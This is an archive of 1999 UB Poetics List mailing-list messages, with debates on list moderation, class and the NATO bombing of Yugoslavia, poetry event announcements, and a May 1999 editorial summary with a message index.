The aim of this issue of _Angelaki_ is to collect a wide range of critical essays addressing the current state of international poetry. We invite contributions addressing the general questions raised above, and we hope to encourage debate about the history and ideology of modern poetic forms and institutions. Far from being taken as read (which is unlikely considering the partisan nature of the subject), the remarks made here should be seen as the springboard for argument and clearer definition. The issue will also include new poetry.

* * *

Submission Information
~~~~~~~~~~~~~~~~~~~~~~~

Angelaki is a peer-reviewed journal.

ABSTRACTS of 1000 words by APRIL 30 1999.

Abstracts to be sent to the below material address, or e-mailed to: [redacted] If e-mailing, please ensure that you put 'Angelaki 5.1' in the subject line.

FINAL MATERIAL (full essays) for peer review by JUNE 30, 1999.

Essays must be sent in duplicate (double-spaced, paginated) to:
~~~~~~~~~~~~~~~~~~~~~~~

Dr Anthony Mellors
59 Orchard Drive
Durham DH1 1LA
UNITED KINGDOM

* * *

About ANGELAKI
~~~~~~~~~~~~~~~

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For further details of the journal and contents listings please visit:
http://www.carfax.co.uk/ang-ad.htm

"Since its inception in 1993, the journal _Angelaki_ has established itself as a leading forum of theoretical reflection, providing a practical refutation of all those who would celebrate 'the end of theory.' Whether it is focused on thematic issues of the most varied nature, introducing thinkers to English-language readers, or treating a variety of problems in open issues, _Angelaki_ challenges the complacency of the self-evident. Required reading for the next millennium." Samuel Weber

Please distribute this call

Gerard Greenway

managing editor
A N G E L A K I
journal of the theoretical humanities
Carfax Publishing Limited
http://www.carfax.co.uk/ang-ad.htm

44 Abbey Road E [redacted]
Oxford OX2 0AE F [redacted]
United Kingdom T [redacted]

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73. Poetics List Administration

A Reply to Kent Johnson

Sat 3 Apr 1999

Kent - As you know, I withheld your message of friday until today; it having been addressed to me by name, I felt it my due at least to have the chance to read it before sending it on. Now that I have read it, I can say that - if not gladly - I'm willing to respond to your questions this once, despite the fact that where they lead may be, whatever your assurances, "another round of angry accusation." On this count, I leave it to other members of the list to judge for themselves how the rhetorical tactics you deploy in such phrases as "B92ed from the List" etcetera balance with those assurances.

Your basic questions, I take it, are these:

1. Does the enactment of the List's "ideological character" mandate, in addition to your daily surveillance of posts, the denial of subscription rights to certain poets?

2. IF it is true that there have been poets "ideologically"
excluded from List membership, isn't it actually the case...
that you ARE, in practice, preventing posts that might
"provoke consideration or sustained argumentation"
from coming to the List's attention?

My reply is simply this, that the *specific* ideological cast that you and your friends have wished to give this issue is a gross distortion, and tiresome; and that the supposed intellectual or poetical differences that have comprised this debate are neither. Instead, we - by which I mean the owners of this list and its subscribers - have been met time and again with an empty rhetoric of "free speech" so twisted as to support the grossest domination; coupled with sustained inappropriate behavior toward list administrators and fellow subscribers, as the case may be.

I reserve, as do all listserv moderators, the right to remove from the list and to deny further subscription privileges to any subscriber who will not abide by the rules of the list as set out in the Welcome Message; and this includes "problem" subscribers that were removed or resigned their subscriptioins before I took on the task of list moderation. I use the words "subscription privileges" pointedly - as a little [electronic] bird just reminded me, list membership is a privilege, never a right.

The obligation to remove such subscribers from the list is one I take very, very seriously; so much so that I want to address the specific formulation of the two questions I've quoted above, in order to be absolutely clear. In the first, you ask me if it is true that the fact of moderation on this list mandates "the denial of

subscription rights to certain poets." To this I would have to reply that the task of list management has to do with subscribers, and not "poets" as such; and that the implication that anyone has been removed from this list for reasons other than their behavior on this list is certainly false. In the second question, you attempt to demonstrate a flaw in the logic of my earlier claims, to the effect that my actions here *are* preventing discourse on this list. In answer to this, please refer to my preceding characterization of the "contributions" to which you evidently refer. Those who wish to know more may consult the Poetics List archive, located on the web at <http://writing.upenn.edu/epc/poetics>.

So in fact, Kent, as you suggest in your post, your questions are informed by faulty assumptions. I would go so far as to say that even the assumption that these are questions - of the kind that want answering - would be faulty. What you seem to want, rather than answers, is to make further accusation; and the tenor of your questions bears this out. What I want is to preserve this list, so shaken by the actions of a small group of subscribers, some of whom evidently employed precisely the sort of tactics you employ in this post, if perhaps less subtly; and whose abuses of this list and its members directly precipitated my appearance as moderator.

Now this issue has been given enough time on-list; we have wasted enough bandwidth. To think that 600 people would want to be subjected to "another round of angry accusation," however cooly made, is too much; not to mention my own time, which is precious to me.

Chris

% Christopher W. Alexander
% poetics list moderator

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74. Mark Weiss
Re: Five Myths of NATO's war
Sat 3 Apr 1999

Surely the source of this is somewhere in the bowels of the Milosevic propaganda machine? Among the distractions here: we don't villify Hitler because he crossed borders--that's far too commonplace a behavior--but because he practiced genocide. While the expulsions of whole populations may not be technically gennocidal, it's a pretty close relation. He who does this, repeatedly, demonizes himself. That others have done so is rather beside the point. US

interest: If in fact we control the rest of the Balkan Penninsula, what difference does the enmity of the Serbs make to us? Are we concerned that they will ally themselves with a superpower like Angola? How can the Serbs either help or hinder us? The US has reasons for being there, not all of them altruistic, but this aint one of them. Capitalist plot to control the news: curiously, a lot of news outlets are adamantly opposed to the bombing, a lot of others are doubtful, and these among those most identifiable with Big Business. Likewise resistance in Congress.

One can disagree about the action and its efficacy, but not, I think, on these grounds.

At 01:14 PM 4/3/99 -0500, you wrote:
>The following is taken from Z Net
>
>http://www.lbbs.org/ZNETTOPnoanimation.html.
>
>While a clearer acknowledgment of the long-standing repression
>suffered by the Kosovar Albanians would have added much to the
>balance of this "Myth Sheet," the points made are certainly
>thought-provoking and prompt urgent questions about NATO's actions
>and the motivations behind them.
>
>Kent
>----------
>
>The US/NATO War in Yugoslavia: Five Myths
>
>Myth #1. U.S./NATO had to attack "the Serbs" because the Yugoslav
>government and President Slobodan Milosevic refused to negotiate on
>Kosovo, a region of Yugoslavia where ethnic Albanians are the
>majority.
>
>Reality: U.S./NATO bombs are falling on all Yugoslavs: Serbians,
>Montenegrins, Albanians, Hungarians, Romanis and other peoples who
>make up the multiethnic Federal Republic of Yugoslavia. There were no
>"negotiations." U.S. officials like Secretary of State Madeleine
>Albright, went out of their way to make this point when "peace talks"
>were held in France in February. Instead, there was an ultimatum
>presented by the U.S. government to the Yugoslav government that had
>three points: 1) Kosovo must be granted autonomy; 2) NATO must be
>allowed to station 30,000 ground troops in Yugoslavia to ensure this
>autonomy; and 3) A NATO-conducted referendum for Kosovo's independence

>from Yugoslavia would take place within three years. The Yugoslav
>government agreed to the first condition, and rejected the second and
>third, saying they were a gross violation of their sovereignty and the
>independence of their country.
>
>
>
>Myth #2. Yugoslavia is the aggressor in this conflict and Milosevic is
>a "new Hitler."
>
>Reality: No Yugoslav soldiers, planes or ships are attacking another
>country. The conflict in Kosovo is an internal issue. A developing
>country of 10 million people, Yugoslavia is being attacked by 19
>countries, including the biggest military powers in the world, which
>have a combined population of more than half a billion people.
>Milosevic has been demonized much like Saddam Hussein is. As a State
>Department official said, "the demonization of Milosevic is necessary
>to maintain the air attacks." (S.F. Chronicle, Mar. 30, 1999)
>
>
>
>Myth #3. Clinton, Albright and the Pentagon generals were moved to
>action by their concerns about "ethnic cleansing" and human suffering.
>
>
>Reality: The U.S., Germany and other NATO powers played a key role in
>breaking up Yugoslavia in 1991-92, arming and supporting secessionist
>movements. For 45 years after World War II, the many nationalities
>that made up Yugoslavia lived together in peace. In the civil wars,
>which followed the break-up of Yugoslavia, there was much bloodshed
>and human rights violations on all sides. The biggest single act of
>"ethnic cleansing" was the forced removal of 600,000 Serbs from the
>Krajina region of Croatia (a former Yugoslav republic) by the
>U.S.-trained and armed Croatian military in 1995. More than 55,000 of
>these Serbs, who were resettled in Kosovo, are among the hundreds of
>thousands of people made refugees by NATO bombing and the conflict in
>Kosovo. (Julia Taft, Asst. Secretary of State on C-SPAN, 3-29-99) The
>U.S. "concern" about removal of people from their homeland is very
>selective. This is not surprising: Virtually the entire continent of
>North America was "ethnically cleansed" of Native people to make way
>for the U.S. and Canada, two of the NATO powers. U.S. policy has
>supported, with arms and money, the removal of Kurdish people in

>Turkey, Palestinians, East Timorese, Guatemalan indigenous people --
>and the list goes on.
>
>
>
>Myth #4. The U.S./NATO goal is to protect the rights of the
>predominantly Muslim Albanians in Kosovo.
>
>Reality: U.S. officials pretend to care about the rights of Muslim
>people in Yugoslavia, while their policy of sanctions and war kills
>300 Iraqis every day -- half children under 5 years old. Most Iraqis
>are Muslims.
>
>The Pentagon is not a humanitarian relief agency and the
>corporate-owned politicians don't really care about any people --
>Albanians, Serbs, Kurds, Iraqis, or the poor and working people of
>this country.
>
>This war is killing people of all nationalities in Yugoslavia, and
>poisoning their land with radioactive depleted uranium (DU) weapons.
>Hundreds of thousands of Iraqis, U.S. veterans and their families are
>suffering from Gulf War Syndrome as a result of depleted uranium
>poisoning. The Clinton administration and the Pentagon talk about
>"supporting our troops" before they go into battle, but then deny
>medical benefits to veterans who suffer from the after-effects of
>Agent Orange from Vietnam or DU from Iraq.
>
>This war will cost many billions of dollars, money stolen from
>housing, health care, education and other social programs. Each cruise
>missile costs $1 million. The only ones who will benefit from this war
>will be the military-industrial complex and big business.
>
>The real U.S./NATO goal is to break Yugoslavia into ever-smaller
>pieces and bomb its people into submission. The Balkans is a strategic
>region, a crossroads between Western Europe and the oil-rich Middle
>East and Caspian Basin. The U.S. has established, in only 5 years,
>military domination of the former Yugoslav republics of Croatia,
>Bosnia and Macedonia, as well as Hungary and Albania. The only
>hold-out has been what is today the Federal Republic of Yugoslavia.
>This is the real reason why Yugoslavia has become the target in the
>Balkans, just as it is the real reason that Iraq has become the target
>in the Persian/Arabian Gulf region.

>
>
>
>Myth #5. U.S. news reports are balanced and impartial, giving us the
>true story.
>
>Reality: What we see today is a gross distortion of the facts. The
>media is dominated by big business interests, and functions as a
>Pentagon propaganda machine. For political purposes, the suffering of
>only one group, the refugees leaving Kosovo, is shown, while the other
>Yugoslav victims of the NATO bombing are virtually ignored. The New
>York Times, CNN, ABC, CBS, NBC, The Chronicle Examiner, and others
>have given a very slanted view of events in Yugoslavia, to justify the
>massive bombing. General Electric, one of the country's largest
>military contractors which supplies engines for NATO jet fighters,
>owns NBC and co-owns MS/NBC.
>
>Volunteers and donation are needed!
>
> Contact us to receive a copy
> of the 1998 IAC book
> NATO in the Balkans
>
> International Action Center
> 39 W. 14th St., #206
> New York, NY 10011
> [redacted]
> fax: [redacted]
> http://www.iacenter.org
> email: [redacted]
>
>

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75. derek beaulieu / house press

Re: Relation of Web/hypertext ed. to book sales

Sun 4 Apr 1999

---

well i know that coach house books has certainly had success from web publishing - check them out at www.chbooks.ccom
hope that helps
yrs

derek
-----Original Message-----
From: Loss Pequen~o Glazier <[redacted]>
To: [redacted] <[redacted]>
Date: Saturday, April 03, 1999 7:20 PM
Subject: Relation of Web/hypertext ed. to book sales

>We are engaged in a project creating a hypertext edition of a book and have
>run
>into resistance from the publisher. If anyone knows of a citation that
>supports
>the argument that a web version of a book increases sales of the book
itself,
>or any similarly useful info for arguing this point, any suggestions would
be
>most welcome! Thanks ...
>

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76. Tom Beckett
The Iron Law of Oligarchy
Sun 4 Apr 1999

One of the things which sticks with me from the Introduction to Political Science class I attended in 1971 at Kent State University (one of those midlevel State institutions recently derided on this list) is sociologist Robert Michel's Iron Law of Oligarchy--the idea that power inevitably tends to concentrate in the hands of a few.The essence of democracy is the fight against that tendency. Every time this list excludes a participant or censors a message the body politic is scarred.

My wish is that more people participate in the poetics exchanges and that the personal vitriol be held in check. Jessica P.'s recent post about ambitions running rampant seems very much to the point. I share her frustrations.

Tom Beckett

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77. derek beaulieu / house press
filling Station Magazine: "Gas Jockeys Unite!"
Sun 4 Apr 1999

This is a multi-part message in MIME format.

charset="iso-8859-1"

filling Station Magazine is very excited to announce;
"Gas Jockeys Unite!: Celebrating 5 years and 15 issues of filling =
Station Magazine"
April 17th 7:30
Carpenter's UNion Hall
310 10th St. NW
Calgary, Alberta

a musical and poetic celebration with readings by:
Richard Harrison
Jeff Derksen
Suzette Mayr
tom muir
Rob Moffat of SAGE Theatre
 and musical performances by:
Shecky Forme
The Anne Loree Band
Los Morenos

this is a licenced event, $8.00 cover
contact derek beaulieu ([redacted]) or coutrney thompson =
([redacted]) for more information.

charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>filling Station Magazine is very =
excited to=20
announce;</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>"Gas Jockeys Unite!: =
Celebrating 5 years=20
and 15 issues of filling Station Magazine"</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>April 17th 7:30</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT size=3D2>Car-
penter's =
UNion=20
Hall</FONT></DIV>

<DIV><FONT size=3D2>310 10th St. NW</FONT></DIV>
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Alberta</FONT></DIV>
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↑ Index

78. James Sherry
Hypertextual Versions Relation to Book Sales
Sun 4 Apr 1999

Loss, You should contact the folks at Eastgate systems who do some of the best hypertext publishing. They will have the statistics, I'm sure. James

↑ Index

79. Douglas Oliver
Re: class
Sun 4 Apr 1999

I'm made constantly aware that Americans and Brits use the word "class" in different senses. Though even in Britain things have become more fluid, when you meet the real ruling classes -- as defined in those chauvinistic terms -- you are in absolutely no doubt, for it begins in their schools. Still, when James Sherry says that no one on this list can be called ruling class, I recognise the cogency of his remarks but then go blank a moment.

I have lived most of my life without many possessions or too much money (Alice and I live in a tiny two-room apartment in Paris) but I'm clear that I am a member of the ruling class. That's because I refuse to consider the question of class in anything but world terms. I simply won't do it.

First, let me allow for the really disadvantaged in the Triad countries: I can't speak for them. But, for myself, it's obvious that in comparison with billions of people in the Third World -- the huge majority in the world -- I am decidedly upper class. Also, in terms of being a member of a country and of coalitions which impose their politics and economics on the rest of the world by force if necessary I am a member of the ruling class. Until Western poetry really takes those facts on board it will not, in my view, have a deep view of class.

This is not piety on my part (and anyway I'm sure James has thought of this a million times himself). It's just that I cannot bear to island this argument, making of it a convenient national territory where I can feel comfortable either with my standard of living or my poetry.

Doug Oliver

↑ Index

80. A H Bramhall
Poetics In A Gaseous State
Sun 4 Apr 1999

---

intention isn't process.
just say stuff, don't say that
you're saying stuff.

(war
is a picture
of determination.

bomb/
nothing in doubt.)

every barrier
has its day.

lurking some
where,
I have been
drifting,
expecting what
I would never expect.

find it
timely
to find.

--Allen Bramhall, just trying to make
doubt safe for the
entire world

↑ Index

81. Mark Weiss
Query
Mon 5 Apr 1999

I'd appreciate a backchannel of Rachel Levitsky's current snailmail--I owe her a book.

Mark Weiss

↑ Index

82. David Baratier
Re: added to antin
Mon 5 Apr 1999

Considering the topic of National Poetry month was brought up I have a piece which fits in. I know some of you have seen portions of this series and for those who haven't, I have become friendly with a prophecy telling machine named Estrella. She is gorgeous and everybody loves mystery. It has become an expensive habit. I will be moving the 10th of this month as a result, backchannel for address. This has ruined my life.

Be well

David Baratier

Estrella’s Prophecies #52

Buy so much poetry this month that you
can fiscally understand poetry month.
Jonathan Galassi needs the money
and decent non-honkey panelists.
Buy a lot of white lady with the rest
of the money because you think good
writers shoot dope. Use a clorox clean
needle as that sex-poem poet is more
than words. When they take you away
to the poetry rehabilitation center
you will be de-programmed and finally
learn Borders cannot carry excellent
poetry. Drop another coin in the
slot and I will tell more.

↑ Index

83. David Baratier
reading
Mon 5 Apr 1999

Columbus Ohio: Annie Finch is reading at Larry's tomorrow (Monday) night. Please make a special effort to be there. She teaches Creative Writing at Miami U/Oxford Ohio and her book Eve from Story Line Press has gotten attention. Her other books include The Ghost of Meter: Culture and Prosody in American Free Verse (Michigan, 1993); A Formal Feeling Comes: Poems in Form by Contemporary Women (Story Line, 1994); and After New Formalism (Story Line, 1998). She is translating the poetry of Louise Labe and working on a

multimedia CD-Rom of Eve. Annie is driving in from Cincinnati, leaving her wee ones and the universtiy for a venue that is not her normal scene.

↑ Index

84. John Cayley
whatsoever we serve
Mon 5 Apr 1999

I've finally made an html version of a short essay (with some added paratextual paraphernalia) which was written for *Mute* (no. 11), 'Of Programmatology'... This is at: <http://www.demon.co.uk/eastfield/in/prog/progset0.html>.

Can I take this opportunity to recommend this magazine again to those of you who may not have seen it, but take an interest in art and digital culture. The latest issue is number 12, and it includes many fine articles on, for example regulation and the net and the 'new' avant-frontier of biotechnological engagements. *Mute* did surface in UK news agents for a time. Better stockists should have it. Information from: <http://www.metamute.com/>

I have also put up a more specialist essay on transliteration at: <http://www.demon.co.uk/eastfield/in/translit/transl.html>. A version of this essay will also appear in "Gravitational Intrigue: an anthology of emergent hypermedia," the forthcoming (CD Rom/Web-based) vol 22 of *The Little Magazine*. Inquiries: <[redacted]>.

Both these essays probably need 4.0x browsers and screens that are at least 800x600.

Apologies if you receive this message more than once.

↑ Index

85. Rachel Levitsky
Minnie Bruce Pratt
Mon 5 Apr 1999

Please join us for a Reading and a Book Party
Celebrating

Minnie Bruce Pratt

at the release of her new book of poetry:

Walking Back Up Depot Street

from the University of Pittsburgh Press

Location:
International Action Center,

39 West 14th Street
Suite 206
New York, NY 10011

Date:
Saturday, April 10
Time:
7 p.m.

For More Information:
[redacted]

Books will be on sale

***
Proceeds from sale of books will be donated to Millions for Mumia, the campaign to stop the execution of Mumia Abu-Jamal

Advanced praise for the book:

"This ambitious work which brilliantly uses biography, historical documents, newspaper reportage, oral history, fragments from testimony and interviews, never lets the reader down, not as art or as evidence....here, writing her greatest poems, a 'heart of flesh' is earned by consciousness of the powerful interrelated and often buried forces that connect us and shape who we are." --Toi Derricotte, author of "Black Notebooks" and "Tender"

↑ Index

86. Pritchett,Patrick
Re: Joan Retallack at DU
Mon 5 Apr 1999

> *Dante met Beatrice*
> *(bitter memory discarded)*
> *though his body remained on the earth*
> *& wept in the rain*
>
> *THE 1998-99*
> *LEO BLOCK LECTURE SERIES*
> *PRESENTS*
>
> *JOAN RETALLACK*
>
> *poet,*
> *associate of the Bard Institute*
> *for Writing & Thinking,*
> *professor at U. of Maryland*

> *&*
> *author of*
> *MUSICAGE: Cage Muses on Words.Art.Music,*
> *Afterrimages, Errata 5uite,*
> *and How to Do Things with Words*
>
> *April 16*
> *TALK 4PM*
> *READING 7:30*
>
> *South Renaissance Room,*
> *Mary Reed Building,*
> *University of Denver Campus.*
>
> *April 17*
> *WORKSHOP 2-4PM*
>
> *Dupont Room,*
> *Mary Reed Building,*
> *Uof Denver Campus*
>
> *Questions? call* [redacted]

↑ Index

87. Poetics List
Re: email charges / Krick
Mon 5 Apr 1999

This message came to the administrative account. Chris

From: [redacted]
Date: 4/4/99 10:50 AM -0400

Dear Poetics List,

I searched the House web site for specific information about this the bill John Lowther refers to and found:

Don Young, an Alaskan representative has posted three letters on his web site, each titled "Internet Access Charges":

http://www.house.gov/donyoung/issues.htm

Rep Young's letters explain the issue of "reciprocal charges" between phone companies pretty clearly.

Arizona representative Jim Kolbe has also introduced a bill that would prohibit per minute charges for Internet access. Maybe this one deserves our support. You can read a release about it at:

http://www.house.gov/apps/list/press/az05_kolbe/pr_990330_internet.html

John Krick

↑ Index

88. Joe Amato/Kass Fleisher

Re: class

Mon 5 Apr 1999

---

douglas oliver: a fine sentiment, given that the yearly avg. global income is (i believe) hovering around $2500 (u.s. equivalent, and sorry for putting it this way)... also, i take your point about british pedigree...

still---and while my mind went blank a bit too after reading james s's post (hi james!)---i'll have to depart ultimately from the upshot of what you're saying, douglas: there are class differentials here in the states that are monumentally unjust... and there are class differentials here in the states that are less so, if nonetheless unjust... and i feel compelled here to exhort those who find themselves in the u.s. to begin to find a way to talk about these differences, b/c it's simply too easy (yes---easy) *only* to point our fingers at other countries and allege the enormous injustices there (with our words or deeds) while the injustices here (class-based, and as i've posted here before, entirely wound around race and gender and so forth) go unchallenged...

reminds me in fact of a character in dickens's _bleak house_---

well i'll skip the literary allusions... also, while i'm at: i may as well depart a bit from other posts, other excellent posts on this thread, in which the desire to complicate money issues as such strikes me at times as an aversion to discussing said issues... i.e., if there is room for structural-economic analysis, for rethinking distribution of wealth, there is room too for more earthbound analyses... yes, class is indeed tricky b/c it's fluid---but fluidity does not erase memory, and memory is one sign of difference and identity...

so, i'm with kathy lou and others on this---i can usually detect in short order when i'm dealing with someone whose (e.g., u.s.) pedigree is owing to a real difference in economic class... having been OF the u.s. working classes, having lived IN poverty (by u.s. federal standards) for some years, and having found mself of late in comfortable if markedly unstable u.s. middle-class confines (one mark of which may be---and here i must be parenthetically public abut this---that kass (above) and i recently filed chapter 7) has perhaps provided me with this... ability?... for me, i find that it's also a matter of being 1st generation

american (my mother a french citizen, merchant class *prior to* wwii), and second on my father's side (italian, poor)...

again, i don't wish to be too much "myself" in all of this, but i find accounting for oneself (as douglas has, in fact) to be an important, even urgent part of the discussion... not confessions, no, not even disclosures---just a sense of where, as we used to say, one is coming from...

alla that said, i *do* appreciate douglas's global provocation...

best,

joe

↑ Index

89. Rachel Levitsky

Re: wartime activities/class/book party

Mon 5 Apr 1999

I had meant to post this one:

Dear List,

First I'd like to thank all the folks who have been posting on the war, Charles B., Kent J. Etc. and nod to Doug Oliver's clear statement about class. Capital comes in many forms, for those of us who have the priviledge of chosing some forms and not other less palatable ones. Worthwhile to keep in mind the penniless noble.

My computer is all but useless just now so getting email is an activity that takes a whole day so I'm late in getting the following information out, but alas:

Minnie Bruce Pratt

is the author of _S/He_, Rebellion, Crimes Against Nature (Lamont Selection, 1989).

She has published a new collection called _Walking Up Depot Street_ though the Pitt Poetry Series. I urge you to read this book which carries the reader though a wildly dimensional landscape via an internal and external descent into the female, working class south.

Please come to a
Book Party for
Minnie Bruce Pratt
whick will take place
at the

International Action Center,
39 West 14th Street,
between 5th and 6th Avenues,

this Saturday evening,
April 10 at
7:00 pm

call [redacted] for info

proceeds from book sales will be donated to Millions for Mumia, the campaign to stop the execution of Mumia Abu Jamal

From the poem “A&P”:

“She rolled a tomato in her hand, pink rubber
ball engineered to fit a machine. The motion
recalled Florida, toward the Glades, Pahokee,
Belle Glade, fields to the horizon, crawling
with tomato plants, and the proportion all wrong
between the rows: wide enough for a truck to drive
through. A truckload of migrant workers, Cuban,
Haitian, Jamaican, perhaps Creek, Seminole,
turning rolling to a dark spot on the horizon,
stopping somewhere, the next unpicked spot
the same, on the row, assembly line.”

↑ Index

90. Joe Amato/Kass Fleisher
Re: The Iron Law of Oligarchy
Mon 5 Apr 1999

---

tom beckett's recommendation to 'hold personal vitriole in check' (i paraphrase) draws me out of lurk (again!), esp. as tom asserts that "[e]very time this list excludes a participant or censors a message the body politic is scarred"...

i'm in sympathy with the latter, but see it as an ideal, predicated in fact on the former... and to give the discussion here, online, a practical bent (and w/o wishing to dredge up the poetics controversy of months past), i'd like to ask, rhetorically, how many of you have spent any time on usenet?...

b/c there's generally a profound difference twixt usenet groups and lists such as these (moderated or unmoderated)... one reason why i don't bother with usenet these days is b/c of the deplorably unchecked AND uncensored nature of what goes on there... i speak in *broad sweep* of course (alan sondheim can speak more directly to this issue), but if you think you'd really like to see an

unchecked and uncensored discussion c. 1999, please do have a look at usenet... i'm using the word "uncensored" in an admittedly narrow sense to mean, not only does no one stop what is said from being said (b/c no one really can), but there is NO encouragement (let alone moderation) by anyone in a position of responsibility to the effect that some things might be better left unsaid (yes, i'll say it---hate speech falls into this category of course, esp. in a public forum where anybody can say anything and everything)... on those usenet groups that purport to deal with some of the more sensitive issues we deal with here (such as race, say) the discussion (if you can call it that) can be utterly revolting...

so i think spending some time on usenet may make that much clearer the need---at times---for SOME form of moderation (aka "censorship"), whether "full" or "partial" or someone in charge (as it were) just plain urging us to cool down...

but don't take my word for it... head over to igc:soc.cult.af.am */ (or wherever) and see for yourselves... i'm against censorship in general, but perhaps this is more a comment on the nature of our public domain... and after all: there is much, i venture, that we'd all of us agree should not be posted in a public establishment (and in fact and contra the 1st amendment, there are laws to prevent such stuff from being posted)...

best,

joe

↑ Index

91. **Mark Weiss**

Query

Mon 5 Apr 1999

Anybody out there got a phone number for Lithocrafters?

↑ Index

92. **Michael Krebs**

Re: Poetics In A Gaseous State

Mon 5 Apr 1999

Nice. I like to think intention is process. It is movement toward motion. And everyone can continue saying stuff. The world may not be safer with a world

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

May 1999

294 messages · Fri 30 Apr 1999 – Thu 27 May 1999

May opened with the war still grinding on in the background — NATO's planes over Yugoslavia for a second month — and the list, characteristically, declined to report it and chose instead to interrogate itself. Jordan Davis put the challenge most bluntly, under the heading the suck of art: *"anybody doing anything about this war we're having?"* It was less a question about Kosovo than about poetry's standing to answer for it, and it set the key for much that followed. Billy Little replied in the only register that seemed adequate, a battered parody of Over the Rainbow in which the Serbs fall far behind and the missiles melt like lemon drops; the joke, of course, was that they did not.

The blunt question had an abstract twin that ran all month under the heading Poetry: telic or not — is the art directed toward an end, or is it gloriously good for nothing? Randy Prunty and P. Standard Schaefer traded closely argued posts on whether a poem could be a form of social action at all, and Jacques Debrot raised the stakes by way of George Lakoff, quoting the cognitive scientist's claim that if the world's cruelty is to end *"our concepts must change,"* and that changing concepts means changing brains and bodies. It is the list at its most philosophical, worrying a question it has no intention of ever settling.

Relief arrived, as it often does, in the form of a bibliography. Jena Osman asked after poems assembled from the language of other texts — Cage's mesostics, Reznikoff's Testimony — and the room happily emptied its shelves. miekal and nominated *"the venerable Bern Porter"* as the lifelong master of the form; Taylor Brady and David Baptiste Chirot both reached for Ronald Johnson's RADI OS, that erasure carved out of Paradise Lost; and the thread became a small, glad census of everything poets have made by finding rather than inventing.

Underneath ran the perennial question of the canon and its heirs. Small Press Traffic announced a public re-reading of Donald Allen's New American Poetry, the 1960 anthology that drew the map much of the list still lives on, and Maria Damon wanted to know how Marjorie Perloff and Alan Golding had ended up on *"opposite sides of the fence"* over the old wound of who gets let in. The question of the young came in through Alice Notley, whom Chris Stroffolino quoted from a COMBO interview praising *"an extremely exciting younger generation right now"* — even as she wished it were more political, a wish that touched off a long, bristling argument about whether love could ever be a politics.

And then the map itself lost a landmark. On the seventeenth, in Port Townsend, James Broughton died at eighty-five — poet and filmmaker, radical faerie, and, as Kevin Killian reminded the list, *"one of the original New American Poets,"* which is to say a man who had been printed in the very anthology Small Press Traffic was preparing to reopen. Billy Little wrote the farewell, mourning a beautiful man whose small bright films were worth double the price of admission: *"he was America's Cocteau."* I have kept the arguments and the found poems and the theories of purpose in the order they arrived, and let Broughton's death fall where it did — in the middle of a month spent asking what poetry is for, and answered, in passing, by a life that had simply and gorgeously been for it.

— Kristen M. Fabians

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104. Taylor Brady — Re: query
105. Elizabeth Treadwell — new site--Duration Press
106. Tisa Bryant — Nathaniel Mackey is
107. shana — Re: American Social Identity Survey
108. Erika Stephens — Report from Atlanta
109. pete spence — Re: American Social Identity Survey
110. Billy Little — Re: query

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111. Dodie Bellamy — Re: SPT Re:reads the New American Poetry / Small Press Traffic
112. Joseph Conte — Upper limit
113. david bromige — "experiment"/seeing thru....
114. Stephen Cope — Re: POETICS Digest - 6 May 1999 to 7 May 1999 (#1999-89)
115. Leonard Brink — Emmanuel Hocquard, Norma Cole
116. Linda V Russo — Re: p o e t r y ; t e l i c o r n o t
117. R Democracy — Re: Stephanie Williams
118. Pritchett,Patrick — FW: translation day at DU
119. Mark W Scroggins — Re: Upper limit
120. Poetics List — Note on re: query
121. Lowther,John — Bromige and Lowther a puppet play
122. Pritchett,Patrick — Re: Left Hand Reading Series - May 18, 1999
123. Jeffrey Jullich — Questions on a HOW-TO [value]
124. Maria Damon (Maria Damon) — Re: Upper limit
125. derek beaulieu / house press — Writers for change - a cross canada tour
126. kathylou — Re: Nathaniel Mackey is
127. Pritchett,Patrick — query
128. Christopher Reiner — L.A. Reading this Sunday
129. Stephen Ellis — Re: NOTLEY on
130. komninos zervos — Re: Invitation to a Thought Experiment
131. Katie Degentesh — 9x9 News

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132. Tony Green — Re: Invitation to a Thought Experiment
133. Michael Magee — OPEN LETTER TO RON PADGETT AND TEACHERS & WRITERS COLLABORATIVE (fwd)
134. Annie Finch — Re: a ghost in the metric
135. Annie Finch — Lyric
136. juliana spahr — hey whitmaniacs
137. Trevor Joyce — Report from Cork Conference
138. Randy Prunty — Re: Poetry: telic or not

139. Poetics List — Re: Mackey Reading / Tisa Bryant
140. Jeffrey Jullich — Re: American Social Identity Survey [MICROSOFT]
141. Kristen Gallagher — Re: Journal jottings [Project Experience]
142. Mariah Corrigan — Leslie Fiedler/Simone Weil
143. Alan Sondheim — Steering Mechanism
144. Susan M. Schultz — Invitation to a Thought Experiment

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145. Katherine Lederer — E X P L O S I V E M A G A Z I N E # 7
146. Alan Sondheim — 2 which bear repeating (fwd)
147. Linda V Russo — SPT Re:reads the New American Poetry / Small Press Traffic
148. L. MacMahon and T.R. Healy — Shearsman 39 apologies for cross posting
149. BETSY ANDREWS — summer sublet
150. Jacques Debrot — Re: Poetry: telic or not
151. Poetry Project — Situations Book Party
152. Carol L. Hamshaw — NATO and the Internet

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153. Stephen Cope — (no subject)
154. Todd Baron /*/ ReMap Readers — Re: hey whitmaniacs
155. Brian Stefans — What does Mr. Pound believe?
156. Brian Stefans — Bruce Andrews and Brian Kim Stefans Reading
157. rob wilson — oh sublime semi-colon, yr history haunts me
158. Cassandra Laity — Brit/Irish Seminar
159. Poetry Project — next week
160. James Brook — TWO LINES reading in San Francisco
161. Tom Orange — CBC Radio interview with Robert Pinsky
162. Kevin Magee — Re: Poetry 101, crude binaries, & the standard of Beauty (gasp?)
163. Alan Sondheim — where and how they lived
164. P.Standard Schaefer — Re: Poetry: telic or not
165. Erika Stephens — Excessively Disruptive Telos
166. hofermr — sf reading saturday may 15

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167. Chris Stroffolino — MOXLEY ADDRESS....
168. ken|n|ing — Kenning #4 now available

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169. Gregory Severance — Jullich poetry on the web
170. Alan Sondheim — Neurotic Fragment
171. Elizabeth Treadwell — New from Double Lucy Books
172. Harold Teichman — Silk Peirce or sow's ear? Howe now, Fourcade?

